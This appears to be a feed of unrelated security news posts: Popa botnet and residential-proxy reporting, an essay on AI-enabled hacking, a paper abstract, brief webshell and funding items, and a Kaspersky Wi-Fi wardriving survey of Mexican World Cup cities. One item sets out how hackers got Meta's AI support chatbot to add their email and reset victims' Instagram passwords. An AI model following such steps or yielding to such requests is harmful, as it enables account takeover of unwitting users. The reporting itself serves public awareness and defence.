For the past four years, a sprawling Android-based botnet called Popa has forced millions of consumer TV boxes to relay Internet traffic linked to advertising fraud, account takeovers, and mass data-scraping efforts. This week, researchers from multiple security firms concluded that the Popa botnet is linked to NetNut, a “residential proxy” provider operated by the publicly-traded Israeli firm Alarum Technologies Ltd [NASDAQ: ALAR].

Malicious streaming devices sold online that enroll the user’s home Internet address in a residential proxy service. Image: HUMAN Security.

Popa is a massive botnet, but by all accounts it is unlike traditional botnets that enlist compromised systems in destructive activities, such as coordinating huge distributed denial-of-service attacks. Rather, Popa appears designed with a singular purpose: Implementing a persistent communications layer capable of registering a device, maintaining long-lived encrypted connections, and opening communication tunnels on demand.

Experts say Popa is a plugin component associated with the Vo1d botnet, a large-scale malware campaign targeting unofficial Android-based TV boxes. These devices, which are marketed under thousands of brand names and model numbers and broadly available for purchase at top e-commerce destinations, all advertise the ability to stream hundreds of subscription video services for an up front one-time fee.

But as the FBI and security industry experts have warned repeatedly, these streaming boxes typically bundle or come pre-installed with software that turns the user’s TV into a “residential proxy” — allowing anyone to route their Internet traffic through that device for as long as it remains plugged into a wall socket and connected to a local network. More concerning, some of these proxy networks do little to stop malicious customers from communicating with and even compromising systems on the local network of the unsuspecting device owner.

The first clues about Popa’s origins came in a 2025 report from the Chinese security company XLAB, which flagged at least nine domain names that were used to register and direct the activities of compromised devices. In a report released today, the security firm Qurium described how it stumbled on some of those same domains while investigating a series of disruptive and expensive data scraping events targeting the company’s hosted organizations in May 2026, in which the scraping activity was scattered evenly across more than 1.4 million Internet addresses.

Qurium said it found several dozen domains used to control Popa that were all hosted in lockstep across multiple Internet addresses over time, including gmslb[.]net, safernetwork[.]io, tera-home[.]com, and ninjatech[.]io. Digging deeper, Qurium discovered gmslb[.]net was referenced in dozens of pirated or modded video content streaming apps, such as CRICFy, DooFlix, Sprozfy, RTS Tv, Flixoid, CyberFlix, Rapid Streamz, TvMob and HD/OceanStreams.

Qurium’s report notes that most of the domains long used to control the Popa botnet were seized or dismantled in July 2025, after Google, HUMAN Security and Trend Micro teamed up to disrupt Badbox 2.0, a botnet that is closely associated with Vo1d. Qurium said that immediately after that disruption, several dozen new domains were registered to serve as controllers for the Popa botnet, but that one of those control domains was not new: ninjatech[.]io.

Ninjatech is a company founded by Moishi Kramer, whose LinkedIn profile says he is vice president of research and development at NetNut. That resume credits Kramer for helping NetNut to build from the “ground up,” “designing the architecture,” and “scaling the NetNut” before the company was acquired by Alarum Technologies. A self-created listing at the job board F6S references Kramer as the sole owner of the Ninjatech domain (a screen capture of it is pictured below).

Image: F6S.com.

Responding via email, Mr. Kramer said Ninjatech ceased operations approximately five years ago, when the company sold a software development kit (SDK) called Popa that was designed to use a small portion of a device’s bandwidth and to run only after the host application obtained user consent.

“That code was sold and licensed to third parties including resellers years ago,” Kramer said. “Once software is distributed that way, the original developer has no control over how others later modify, rebrand, or deploy it.”

Kramer said neither he nor NetNut builds, operates or maintains the infrastructure being described as Popa, nor does he control the Ninjatech domain.

“I didn’t register the June 2025 domains you mention, and I don’t know who did,” he continued. “I have no control over, or visibility into, that infrastructure. I can only tell you it isn’t operated by me or by NetNut.”

But in a separate Popa research report released today, the proxy-tracking company Synthient said a recent analysis of the Popa SDK revealed outbound traffic clearly associated with NetNut.

“The research team assesses with high confidence that devices running Popa forward traffic from Netnut clients,” Synthient wrote. “This proves without a shadow of a doubt that Popa actively continues to be used by NetNut as part of their proxy pool.”

Synthient’s platform receiving outbound traffic from Popa. Image: Synthient.com.

Alarum Technologies, NetNut’s Tel Aviv-based parent company, said the reports by Synthient and Qurium contained “demonstrably inaccurate assertions and flawed deductions rather than verified facts.” Alarum shared a statement saying they reject the basic characterization of the SDKs and technologies discussed in the reports as a “botnet.”

“The SDKs at issue are designed to facilitate bandwidth-sharing functionality and do not transform user devices into malware-controlled systems or otherwise compromise the devices on which they operate,” the statement reads. “Netnut operates a commercial proxy network and maintains policies, procedures, and technological measures designed to promote lawful and responsible use of its services.”

Alarum said NetNut places “significant emphasis on appropriate notice and consent mechanisms, conducts customer due diligence, monitors for potential misuse, and takes steps intended to detect and mitigate suspicious or unauthorized activity.”

“This method of operation is supported both by internal procedures and policies, including performing KYC checks and additional due diligence of NetNut’s customers, as well as employing various technological measures, designed to assist in identifying and addressing suspected misuse of the network,” their statement continued.

However, in a report released on June 8, the proxy tracking service Spur asserted that NetNut does not require corporate verification or meaningful “know your customer” procedures before allowing customers to purchase proxy access.

“An individual can sign up, pay, and route traffic through partner address space, including space belonging to institutions whose users never opted in,” Spur wrote. “The ‘verified corporations only’ claim is simply marketing for bandwidth sellers, not an access control on who actually uses the proxies.”

“Nor is NetNut the only front door,” Spur continued. “A number of downstream white labelers and resellers repackage the same ISP proxy pool under their own brands. These outlets typically perform no KYC at all, less scrutiny than NetNut itself, who at the very least might assign an account manager to potential users. Anyone who knows where to look can buy access through a reseller with nothing more than a burner email address and $5 in crypto.”

Synthient found that although the most recent builds of Popa (as of three months ago) have added the ability to ask the user for consent before installing proxy components, not all variants or previous versions of Popa contain this functionality.

“Of the over 20 genuine Popa publishers analyzed, none of them were observed asking for user consent,” Sythient wrote.

THE PREVALENCE OF POPA

Chris Formosa is senior lead information security engineer for Black Lotus Labs, a division of the Internet backbone carrier Lumen Technologies.

“What especially makes Popa dangerous is just how widely used NetNut is for reselling and sharing,” Formosa said, explaining that many other proxy services simply resell NetNut proxies rather than building out their own far-flung proxy networks. “So these Popa IPs appear in tons of different services all over the ecosystem, which makes it one of the most problematic and dangerous proxy botnets on the market currently.”

Formosa said the Popa botnet averages between 1.5 million to 2.5 million distinct IP addresses each day, relying on between 250 and 300 Internet addresses that are used to direct its activities.

“That’s why Popa is so dangerous,” Formosa said. “It may not be the largest botnet we have seen, but it is spread all over the industry, making its power very amplified.”

Formosa said while that makes Popa one of the larger botnets out there today, its numbers pale in comparison to those previously boasted by IPIDEA, a China-based proxy provider that until recently operated a daily pool of nearly 10 million devices that they resold as proxies to anyone. In January 2026, Synthient published research showing that multiple new large DDoS botnets had grown rapidly by tunneling through IPIDEA proxies into the local networks of unsuspecting TV box owners and infecting other Android-based devices behind the user’s firewall.

IPIDEA is based largely on SDKs used to view pirated streaming content on a vast number of TV box devices, but the service’s numbers have dwindled since January, when Google and industry partners took legal action to seize domain names that IPIDEA used to control devices and proxy traffic through them.

Jérôme Meyer, a security researcher at Nokia Deepfield, said the total population of devices participating in the Popa botnet may be far higher than Lumen’s estimates. Meyer told KrebsOnSecurity that Nokia is monitoring 26 of at least 359 known relay nodes for the botnet, and estimates that each relay node handles between 35,000 and 60,000 clients simultaneously.

“On the relay node subset I am looking at (26 of them), 750,000 unique sources in 24 hours,” Meyer wrote in response to questions.

Nokia Deepfield released its own report today on RoboVPN, a VPN app tied to the Vo1d botnet’s Popa plugin that Qurium attributes to NetNut/Alarum Technologies.

THE SYMBIOSIS OF PROXIES AND DATA SCRAPING

Experts say many of the world’s largest proxy providers have updated their public-facing branding to highlight their utility for training AI platforms, implying it is a primary use case for their residential proxies. That’s because AI services tend to rely on constantly mass-scraping the Internet for new text, images and video content that can be used to train large language models (LLMs).

NetNut and other proxy services have recast themselves as critical infrastructure for the AI scraping economy. Image: Synthient.com.

“AI companies depend on web-scraped content: for pre-training, for retrieval, for agent grounding, for search,” reads a report this month from Include Security that examines the prevalence of proxy SDKs in smart TV apps. “But the modern web isn’t scrapeable from a datacenter. Cloudflare, DataDome, HUMAN, among others throttle or block requests from known cloud IPs. The workaround is residential proxies. A scraping job routed through a Comcast or T-Mobile subscriber’s connection arrives at the target site from an IP that belongs to a paying residential customer.”

This non-stop content scraping has spawned more than 70 copyright infringement lawsuits against major tech companies that have acknowledged large-scale data scraping as a major source of the “brains” behind their commercial AI offerings. Ironically, much of that scraping is being aided by proxy services that are intimately tied to unofficial Android TV boxes and associated SDKs whose stated purpose is streaming pirated content.

The scraping activity has become so aggressive that it often overwhelms the targeted websites, preventing them from being reachable by legitimate visitors. In many reported cases, nonprofit organizations, libraries and universities have complained of constantly battling to keep their services online in the face of relentless data-scraping firms hiding behind residential proxy services.

A survey conducted last year by the Confederation of Open Access Repositories (COAR) found while some content scraping bots are rather innocuous, “others are sufficiently aggressive that they are increasingly causing service disruptions in repositories and other scholarly communications infrastructures.” More than 90 percent of survey respondents indicated their repository is encountering aggressive bots, usually more than once a week, and often leading to slow downs and service outages.

“Automated web scraping is nothing new, and has been the key technology underlying search engines such as Google for over 30 years,” wrote Brendan O’Connell, platform manager at the Directory of Open Access Journals (DOAJ), a free, community-curated index of peer-reviewed academic journals. “However, the current investor-fueled AI startup craze means there are now thousands of well-funded companies developing and deploying their own scraping tools to train AI models, alongside existing major players like OpenAI and Google.”

DON’T TOUCH THAT DIAL!

Across the United States, local communities are pushing back against the proliferation of new data centers aimed primarily at improving the capabilities of AI. But security experts say the general public remains largely unaware that using one of these unsanctioned Android TV boxes means their “smart TV” is almost certainly using a significant amount of bandwidth each month to help train modern AI models.

Even households without these sketchy TV boxes can still have their smart TVs turned into residential proxy nodes, just by downloading one of thousands of apps made available on Samsung and LG smart TVs. Spur said it recently scraped the LG and Samsung app stores and found that each had approximately 3,000 apps available for download. Many of these apps are simple games or utilities that state in the fine print that the user’s Internet connection will be used to download data and that they can opt out at any time.

Spur said it found that more than 42 percent of apps available for download via the webOS operating system on LG smart TVs include SDKs that turn one’s television into an always-on residential proxy node. More than a quarter of the apps made for Samsung’s Tizen operating system had similar residential proxy components, Spur found.

Image: Spur.us.

Experts say it’s questionable whether TV apps with proxy SDKs can obtain meaningful consent from users for installing an always-on proxy connection, particularly when anyone in a household — including children — can effectively opt the family TV into a residential proxy network just by installing a simple game or app.

“Privacy-policy disclosure is the wrong control surface for a TV,” Include Security wrote. “It is hard to scroll through a legal document navigated by arrow keys on a remote, and the in-app consent dialog doesn’t convey that a paying customer is about to route their scraping traffic through the user’s home internet.”

Spur’s head of research Sean Simmons told KrebsOnSecurity that most people do not have a working mental model for what it means to sell access to their residential IP address, no matter what device they are using.

“And on a TV, the gap is even wider,” Simmons said. “A one-time prompt navigated with a remote can disappear into the setup flow, while the app keeps monetizing the connection long after anyone remembers what they accepted.”

Simmons said LG and Samsung should follow the lead of other TV platforms that have already drawn a line against residential proxy providers, pointing to policies by Amazon that prohibit apps facilitating proxy services for third parties. Likewise the TV streaming device maker Roku reportedly now bars developers from using proxy SDKs and has removed apps that bundled them.

Piracy related apps pushing proxy SDKs onto unconsenting users. Image: Synthient.

Apps that turn one’s device into a residential proxy node are not limited to smart TVs and no-name streaming boxes, of course. As noted by the security firm Infoblox, mobile app developers can embed SDKs provided by the residential proxy networks into their products to monetize their software, allowing them to receive a small amount of money on each installation.

The result, Infoblox said, is that devices are frequently enrolled without the owner’s knowledge, typically through free applications such as VPNs, streaming apps, screensavers and “productivity” apps such as PDF viewers and break reminders.

All too often, these proxy services are beaconing out from employee devices brought into the workplace, Infoblox found. In a blog post earlier this month, Infoblox said it discovered that fully 65% of its customer base was querying one or more residential proxy related domains.

“We saw steady growth in these queries in 2025, with a 25% increase over the year to over 500 billion per month,” Infoblox wrote. “Over 90% of our pharmaceutical and food & beverage customers have queried residential proxy indicators. Perhaps even more concerning is that over 60% of government and banking customers have as well.”

Infoblox researchers Nick Sundvall and David Brunsdon warned that with residential proxies in the corporate environment, external access is granted to an organization’s IP space.

“If threat actors were to abuse the residential proxy to attack a third party, the third party’s incident response would, correctly, identify your residential proxy as the source,” they wrote. “Untangling that, by proving that you were the conduit and not the threat actor, costs time, creates legal exposure, and can damage your reputation. The stunning prevalence of these services within customer environments warrants attention from both network defenders and policy makers who should consider how the risks posed by residential proxies could be impacting their security posture.”

Last week, national security agencies from the Five Eyes—that’s the rich, English-language-speaking countries club—jointly released a statement warning of the increasing cyber risks of AI models: in particular, their ability to autonomously hack into systems and networks. The statement was more measured than some of the breathless headlines about it, and the advice they gave is pretty much the standard advice everyone gives—albeit with newfound urgency.

Internet risks are nothing new, and cyberattacks—both large and small—have been a significant issue since long before the current crop of generative AI models.

What’s been changing over the decades, and what AI is changing even faster, is the gap between skill and ability. For most of human history, the two terms were synonymous—but computers have decoupled them. As the gap between the two expands, humans empowered with these AI tools can do more: more writing, more research, more analysis and also more damage than ever before. These models can, with little detailed direction, autonomously hack into networks, steal data, deploy ransomware and destroy systems. And to the extent there is a solution, it’s going to involve harnessing AI for the defense.

In 1998, seven people from the hacker group L0pht testified before Congress. They told a mostly clueless Senate committee that they could take down the internet in 30 minutes. That was partly real and partly bravado, but it illustrates an important point: hacking into systems, stealing data and causing damage all required skill.

Contrast the L0pht hackers with hackers derided as “script kiddies.” They didn’t understand computers, or security. Instead, they used hacker tools written by others. Their actions required minimal skill and even less knowledge. But once those hacking tools became widespread, the number of potential attackers increased.

That number has continued to increase, as quality and availability of prewritten attack tools has grown. And it is growing dramatically with AI. Today’s AI systems—not just the frontier models, but most of them—are capable of carrying out cyberattacks automatically. They all do better in the hands of skilled attackers, but increasingly they are able to act autonomously with only minimal prompting.

The thing about people with ability but no skill is that they are often outsiders, not part of any professional community, and not bound by any rules or norms. This phenomenon is much more general than in cybersecurity. Any doctor can tell you how to untraceably poison someone, and many virus researchers know how to create a bioweapon. Any bridge engineer can tell you how to place explosives to blow a bridge up. The reason that murderous doctors and terrorist engineers are so rare is that the lengthy process of acquiring those skills also instills a moral and ethical code. If every random person has access to good poisoning advice, that puts us all in danger.

Modern AI systems are, in effect, a universal adviser to help people do harmful things. And while the current AI megacorporations are trying to build guardrails to prevent people from asking questions whose answers will enable the questioner to do harm, that’s not going to work in the long term. Smaller, cheaper, open-source models, including models that can run on people’s computers, and especially groups of models that run in concert with each other, are just as good as the frontier models from companies like OpenAI and Anthropic. And they continue to get better. These models will be passed around from person to person, like script kiddie hacker tools, and they won’t have any such guardrails.

Instructing AI models to spy on people and report any malicious prompts to the authorities fails for similar reasons. The megacorporations can do that, but the locally run open source models won’t. This could buy us a few months at best.

A third possibility is to somehow make the models themselves unable to hack into computers, create bioweapons or do anything else that might harm people or society. That won’t work, for the same reason we can’t teach doctors how to treat poisonings without also teaching them how to poison. It’s the same knowledge. It’s the same with construction and demolition. And it’s the same with cybersecurity. We want these AI models to be able to review computer code, find vulnerabilities and automatically fix them. The benefit to our collective security will be enormous. Unfortunately, the same knowledge can be used for attacks.

Where this leaves us is in a world of increased volatility. Super-powered humans with AI assistants will be able to do both wonderful and horrible things.

This brings us back to the Five Eyes statement. Everything they recommend is something security professionals have been recommending for years, if not decades. They are things talked about at that congressional hearing back in 1998, titled “Weak computer security in government: Is the public at risk?” Even the Five Eyes admitted that their security advice is not new, only more urgent.

What’s new is how fast things are changing: “The rapid pace of frontier AI development means cyber risk assumptions can become outdated in months, not years. We must act before and be prepared to adapt and withstand evolving threats.” The Five Eyes point to AI technology—not necessarily chatbots, but AI more generally—being used to strengthen every aspect of defense, to “detect vulnerabilities earlier, improve software quality, monitor unusual behavior, and respond faster to incidents—reducing both the cost and impact of incidents.”

Excellent advice from the Five Eyes security agencies. We need to do this with every risk that AI heightens, not just cybersecurity.

This essay was originally published in The Guardian.

Interesting paper: “Cybersecurity Mission Creep.”

Abstract: Cybersecurity is experiencing mission creep. Policymakers are casting more and more problems as issues of cybersecurity. So reframed, wildly different policy issues, from misinformation, to child social media safety laws, to antitrust regulations, to alleged journalist misconduct, to anti-sex trafficking statutes become what this Article calls “cybersecuritized.” Before this reframing, these issues present as important but not existential. But once cybersecuritization positions the issues as threats intensified by their technological nature, they gain access to the politics and law of urgency and exceptionalism and invite troubling governance responses.

Positioned as security threats, cybersecuritized issues become endowed with the apparent normative power to override countervailing considerations, oversimplifying the problem. Cybersecuritization’s oversimplification similarly risks unidimensional solutions and invites use of argumentative trump cards, like First Amendment challenges. Cybersecuritization also invites deference to purported specialists and their proposed solutions. Together, the reductive tendencies of cybersecuritization and the deference it prompts to specialists renders ultimate governance choices more opaque. And this opacity can erode public trust and political legitimacy.

This Article surfaces the phenomenon of cybersecuritization and offers a novel framework for analyzing and critiquing it. Mining cases from across criminal and civil domains, the account also demonstrates the insidiousness of cybersecuritization and the likelihood that it will continue to expand. Confronting cybersecuritization is crucial. If we continue to ignore it, we risk abdicating further responsibility for difficult choices to the trump card of cybersecurity. This Article’s analysis and critique aim to help reclaim the hard work of governance for our hands.

During a recent incident response engagement, our team uncovered a multi-stage WordPress infection that goes beyond the usual file-based malware. The attacker combined a fake plugin, a remote command-and-control server, and two PHP web shells stored directly inside the WordPress database.

The campaign is operated by a Turkish-speaking threat actor and is built around a classic SEO monetization scheme: hidden backlink injection for a Private Blog Network (PBN), most likely tied to the gambling and adult affiliate niche.

Continue reading WordPress PBN Plugin Drops Dual Webshells via Database Injection at Sucuri Blog.

The company founded by Yossi Torati, Omer Gull, and Yuval Itzchakov has emerged from stealth mode.

The post A Security Raises $37 Million for Autonomous Offensive Security Platform appeared first on SecurityWeek.

Hackers are convincing Meta’s AI support chatbot to let them take over other peoples’ accounts:

A video posted on X showed the step-by-step process to hack someone’s Instagram account. The hacker allegedly used a VPN to spoof the targets’ presumed location to avoid triggering Instagram’s automated account protections. Then, the hacker opened a chat with Meta AI Support Assistant and asked the bot to add a new email address to the target’s account. The chatbot can be seen sending a verification code to the email address provided by the hacker; the hacker then shares the verification code with the chatbot, which prompts the chatbot to show a button to “Reset Password.” The hacker enters a new password and takes over the victim’s account.

[…]

On Monday, Instagram spokesperson Andy Stone said in a reply to Wong’s post and others that the issue was now fixed. It’s unclear how many Instagram users had their accounts improperly accessed.

It’s not that easy. Probably this particular tactic is now blocked. But there are others, many others, and they cannot be blocked as a class. The real problem is that LLM chatbots are not trustworthy enough for this application.

Another news article.

Introduction

Mexico is one of the host countries for the 2026 FIFA World Cup, with matches to be played in three major cities: Mexico City, Monterrey, and Guadalajara. These locations are expected to see a large influx of international visitors, increasing the potential security risks. Many of those risks arise from users connecting to public wireless networks.

To better understand the wireless environments that visitors may encounter, we at Kaspersky GReAT conducted a wardriving assessment in the three host cities. The aim of the study was to analyze characteristics, deployment patterns, security configurations and potential exposure risks of public Wi-Fi infrastructure in urban wireless environments.

The information collected during the assessment was used exclusively for passive observation and infrastructure analysis. No attempts were made to authenticate, intercept communications, exploit systems or interact with the detected wireless networks beyond the publicly broadcast management information.

During processing of the collected data, one step involved filtering out networks belonging to cars or cell phones categorized as mobile hotspots because they do not represent networks that can be considered part of the assessment.

Research scope

The cities included in the study have high population density and extensive wireless infrastructure deployments. We chose areas with the most prominent wireless network activity and highly concentrated public access points. We carried out wardriving research in Monterrey back in 2008, but the city’s hotspot landscape has changed since then.

We chose the following analysis areas for each of the cities:

1. Mexico City: México City Stadium, Mexico City International Airport, Zócalo, Paseo de la Reforma, Colonia Roma, La Condesa, Polanco, and Coyoacán.
2. Guadalajara: Guadalajara Stadium, Guadalajara International Airport, the city center, Zapopan, Providencia, Avenida Chapultepec, Colonia Americana, Tlaquepaque, and the area around Andares.
3. Monterrey: Monterrey Stadium, Monterrey International Airport, Fundidora Park, Cintermex Monterrey, the downtown area, Barrio Antiguo, MacroPlaza, and the San Pedro financial district.

The wireless information was collected using passive wireless reconnaissance techniques. The collected information included:

• SSID analysis and information exposure, including BSSID-derived SSIDs
• Default router configurations and ISP deployments
• Frequency and signal characteristics
• Channel congestion and spectrum usage
• Wireless security configurations, including:
  • Open and insecure wireless networks
  • WPS-enabled networks
  • Secure networks (WPA2/WPA3) with WPS enabled

We performed a wireless infrastructure analysis in Mexico City, Guadalajara, and Monterrey. We drove through the areas surrounding the World Cup stadiums, tourist zones, and other places where fan concentrations are likely to be largest. Our goal was to evaluate the security status, deployment characteristics and operational exposure of detected wireless networks.

In total, we recorded 84,588 signals with 69,473 unique Service Set Identifiers (SSIDs) in busy locations and World Cup zones across the three cities. Mexico City accounted for 61.4% of the signals, Guadalajara for 23.6%, and Monterrey for 14.8%. Approximately 82% of the signals had a single SSID (81.9%, 81.34%, and 84% respectively). Notably, they all operate under the IEEE 802.11 standard protocol.

Particular attention was given to identifying standard deployment patterns, legacy configurations, default vendor settings and information disclosure through publicly broadcast wireless identifiers.

The following sections present the results that were obtained by analyzing wireless infrastructure across the three locations.

Our findings

SSID analysis and information exposure

SSID analysis was conducted to evaluate naming conventions, deployment standardization and potential information exposure.

Only a few networks (0.0047%) have an invisible SSID, meaning the names of these networks are not broadcast. Some users prefer to hide the SSID for various reasons, such as the network’s purpose, the profile of its users, internal policies, etc. In contrast, the rest of the networks maintained active SSID broadcasting.

SSID structures may unintentionally disclose operational details about internet service providers (ISPs), device manufacturers, deployment practices, organizational ownership or user identity. The repeated presence of default SSID naming patterns across the analyzed locations indicates a significant degree of infrastructure homogeneity and reuse of default wireless configurations. It may also facilitate passive infrastructure profiling by revealing standard characteristics in use.

Approximately 34% of the detected networks retained the default SSID naming conventions provided by the manufacturer or ISP, while 66% used customized identifiers.

Distribution of SSID naming conventions (download)

Several recurring SSID naming conventions associated with ISP-provided deployments were identified in the three cities. The most frequently observed patterns include identifiers such as “Club_Totalplay_WiFi”, “izzi WiFi”, and “Megacable WiFi”, which suggests extensive standardization of wireless infrastructure deployment. Additionally, we observed distinctive location-specific SSIDs in each area of analysis, such as “XXXX-Internet para Todos-CDMX” or “RED JALISCO”.

Most frequently observed SSID patterns (download)

Sequential SSID naming structures were also identified during the analysis. Patterns such as “INFINITUMXX” and “IZZI-XX” suggest automated ISP deployment and large-scale deployment strategies.

We identified 33 unique sequential naming structures among the 137 sequential SSIDs in total, representing approximately 0.16% of the detected wireless networks.

The following graph shows the top five sequential SSID patterns found in the largest number of networks:

Five most frequently observed sequential patterns (download)

Several customized SSIDs contained personal or organizational identifiers, including family names, professions, addresses or internal department references. Although personalized SSIDs may simplify local network identification for users, they may also expose sensitive information that could be useful for social engineering, physical targeting, or organizational profiling.

BSSID-derived SSID

During the analysis, multiple networks were identified that used the physical MAC address of a Wi-Fi access point (BSSID) as the visible SSID. This practice exposes hardware-level information that could facilitate vendor fingerprinting and targeted reconnaissance activities.

The organizationally unique identifier (OUI) contained in the first bytes of the BSSID identifies the equipment manufacturer. Threat actors can correlate exposed manufacturers with device-specific vulnerabilities.

BSSID-derived SSID by city (download)

Notably, we found that more than 30% of networks in all three cities reuse the MAC address as the SSID.

Default router configurations and ISP deployments

We performed wireless infrastructure profiling to identify the most common wireless equipment manufacturers and ISP deployments across the three locations.

Large-scale ISP deployments frequently use standardized wireless configurations and vendor-specific hardware platforms. Identifying dominant manufacturers and ISP naming conventions can provide insight into infrastructure and deployment practices facilitating the mapping of standardized attack surfaces.

The following figure shows the distribution of the most commonly used manufacturers.

Most frequently observed wireless equipment manufacturers (download)

The manufacturer analysis revealed a strong concentration of wireless infrastructure among a limited number of vendors. Across the three locations, Huawei Technologies, MediaTek-based devices, and other manufacturers’ equipment that is distributed through ISP channels represented a significant portion of the detected deployments. Mexico City had the most diverse infrastructure, while Monterrey and Guadalajara had a greater concentration of wireless equipment known as SOHO (small office/home office) or residential-grade hardware. The widespread presence of standard vendor platforms may facilitate infrastructure fingerprinting and large-scale targeting of known device-specific vulnerabilities.

Most frequently observed wireless equipment manufacturers across the three cities (download)

ISP deployments frequently exhibited standardized configuration patterns and recurring manufacturer identifiers. Our ISP deployment analysis revealed a high concentration of access points associated with major residential internet providers. Deployments associated with Infinitum, Totalplay and Izzi represented a substantial portion of the detected wireless infrastructure across all locations. These findings suggest a high degree of deployment standardization across networks associated with major residential internet providers. This observation was supported by the repeated presence of ISP-associated SSIDs such as “Infinitum”, “Totalplay”, and “Izzi”, combined with manufacturer identifiers frequently associated with consumer equipment, including Huawei, ZTE and other residential wireless equipment vendors.

It is important to note that, for this analysis, ISPs were primarily inferred from SSID naming conventions and manufacturer fingerprint data. A significant portion of the detected wireless networks fell into the “UNKNOWN/CUSTOM” category. This classification includes custom hotspots and networks whose naming conventions did not expose identifiable ISP-associated patterns. The findings suggest that many users and organizations (as we saw previously, approximately 66%) use custom network names, limiting direct provider attribution.

The following figure illustrates the distribution of ISP-associated wireless deployments in general.

Most frequently observed ISPs (download)

To better understand this distribution, we took the most frequently observed ISPs by city.

Most frequently observed ISPs across the three cities (download)

Frequency and signal characteristics

We also analyzed wireless signal characteristics to evaluate coverage quality, signal strength, and frequency band utilization in the three cities. In dense urban environments, signal quality and frequency spectrum distribution can affect wireless reliability, client connectivity, roaming performance, and overall network efficiency.

Signal quality analysis revealed that a substantial portion of the detected access points operated under weak or very weak signal conditions. Monterrey had the highest percentage of very weak signals, with approximately 50% of detected deployments. Similar patterns were observed in Guadalajara and Mexico City, suggesting high-density wireless environments with overlapping coverage areas. Only a limited percentage of networks were classified within the very good or excellent signal categories across the three locations.

Signal quality distribution by city (download)

Signal stability analysis revealed that most detected wireless deployments exhibited stable beacon transmission behavior. More than 96% of the detected access points across all locations were classified as stable, while only a small percentage exhibited unstable or indeterminate signal behavior.

These findings imply that the majority of the wireless infrastructure observed during the assessment corresponded to permanently deployed access points rather than transient or intermittent wireless devices.

Signal stability status (download)

Frequency band analysis revealed the strong prevalence of 2.4 GHz wireless deployments across the three locations. More than 95% of the detected wireless networks operated within the 2.4 GHz spectrum, while only a small percentage of deployments were classified under the unknown or non-standard frequency categories. This uneven distribution reflects the continued prevalence of legacy-compatible wireless infrastructure and SOHO deployments.

Frequency band utilization (download)

These findings are consistent with dense urban wireless environments with large numbers of access points in restricted spectrum allocations.

Channel congestion and spectrum usage

Next, we analyzed wireless channel utilization to evaluate frequency spectrum congestion and channel allocation patterns across the three cities. Our analysis focused on the 2.4 GHz spectrum, where channel overlap and high access point density commonly produce interference and degraded wireless performance. In densely populated wireless environments, an excessive concentration of access points on a limited number of channels can lead to co-channel interference, packet collisions, reduced throughput, and degraded network stability.

Spectrum congestion analysis revealed that the 2.4 GHz band consistently experienced elevated congestion levels across the three cities. The detailed results showed a strong concentration of deployments on channels 11, 6 and 1, which are traditionally recommended as non-overlapping channels within the 2.4 GHz spectrum. Channel 11 was the most utilized channel, accounting for 25.2% of the detected access points, followed by channel 6 with 22.5% and channel 1 with 19.5%. This distribution indicates that most wireless deployments adhere to standard channel allocation practices for 2.4 GHz Wi-Fi environments.

The following figure illustrates the overall distribution of the most frequently utilized wireless channels.

Most utilized wireless channels (download)

To further assess wireless spectrum saturation, the detected access points were grouped according to channel congestion levels: VERY_HIGH, HIGH, UNKNOWN, MEDIUM, LOW and NONE.

Mexico City had the highest proportion of heavily congested wireless channels, with approximately 7% of detected access points operating under HIGH congestion conditions. Guadalajara followed with nearly 5% of deployments categorized as HIGH congestion, while Monterrey had the lowest percentage at approximately 3.29%.

These findings suggest that wireless spectrum saturation increases proportionally with urban infrastructure density and access point concentration. Despite the presence of congested deployments, most detected access points were categorized as LOW or MEDIUM congestion, suggesting severe spectrum saturation was localized rather than uniformly distributed.

Channel congestion by city (download)

A thorough analysis of individual channel utilization revealed that channels 11, 6 and 1 consistently experienced the highest congestion levels across the three cities, which correlates with our previous findings. These channels accounted for the majority of VERY_HIGH congestion classifications, particularly within the 2.4 GHz band.

In Mexico City, channel 11 alone accounted for more than 25% of detected deployments and consistently exhibited VERY_HIGH congestion levels.

This behavior reflects the limited availability of non-overlapping channels within the 2.4 GHz spectrum and the widespread reliance on default wireless configurations.

Most congested channels by city (download)

Overall, the channel utilization analysis showed that wireless deployments are concentrated heavily within the traditional, non-overlapping 2.4 GHz channels. While this strategy reduces adjacent-channel interference, excessive access point density on the same channels can still produce significant co-channel contention and poor wireless performance in high-density urban environments.

Wireless security configurations

The next thing we evaluated was the security posture of the detected wireless networks. We analyzed the wireless security configurations advertised by access points in each of the locations.

Overall security configuration distribution

The analysis revealed that WPA2 was the dominant wireless authentication mechanism across the three cities. Mexico City had the highest WPA2 adoption rate at 81.19%, followed by Monterrey at 79.19% and Guadalajara at 77.59%.

The study found that every 6th open access point (17%) was unsafe, namely 16.5% in Mexico City, 18.5% in Guadalajara, and 17.2% in Monterrey. Open wireless deployments were consistently present across all locations, ranging between 10% and 12% of detected access points. These findings show that despite the widespread deployment of modern wireless security standards, encryption adoption remains incomplete.

Distribution of wireless authentication mechanisms across the three locations (download)

To simplify the interpretation of wireless security posture, we grouped detected networks into four categories:

• Secure (WPA2/WPA3)
• Insecure (Open/WEP)
• Weak (WPA)
• Unknown

Across the three locations, secure networks comprised most of detected deployments, accounting for approximately 82% of all access points. However, insecure open networks still account for between 10% and 12% of detected wireless infrastructure, consistent with our previous findings. It is important to mention that networks within the unknown category are not considered secure.

Mexico City had the highest percentage of secure deployments at 83.54%, while Guadalajara had the highest percentage of insecure open networks at 12.46%. Although Monterrey had the lowest percentage of insecure networks, open deployments still accounted for more than 10% of the detected access points.

Wireless security posture grouping across the three locations (download)

Although modern WPA2/WPA3 encryption standards dominate current wireless deployments, the continued presence of open and legacy WPA deployments indicates that insecure wireless configurations remain relevant from an operational standpoint. These networks may expose users to passive traffic interception, unauthorized monitoring, rogue access point attacks, and credential harvesting techniques.

WPS-enabled networks

We also analyzed Wi-Fi Protected Setup (WPS) in all the locations to evaluate additional attack surfaces. WPS is a standard feature on wireless routers that enables devices such as printers, repeaters or mobile phones to connect to a secure Wi-Fi network without manually entering a long password, typically through a PIN-based enrolled mechanism. Although WPA2 and WPA3 provide strong encryption mechanisms, the presence of WPS can introduce security weaknesses due to inherently vulnerable PIN-based enrollment methods.

By combining detections from the three locations, we found that 55% of all detected access points did not advertise WPS capabilities, leaving 45% of deployments vulnerable to WPS-based abuse. These results suggest that, despite the adoption of modern encryption standards, a significant portion of wireless infrastructure continues to expose legacy convenience features.

During the analysis, we found that Mexico City had the highest proportion of WPS-enabled networks, with 46.61% of the detected access points advertising WPS capabilities. Guadalajara was second with 43.45%, while Monterrey had the lowest proportion at 40.93%.

The percentage of detected access points advertising WPS capabilities across the three locations (download)

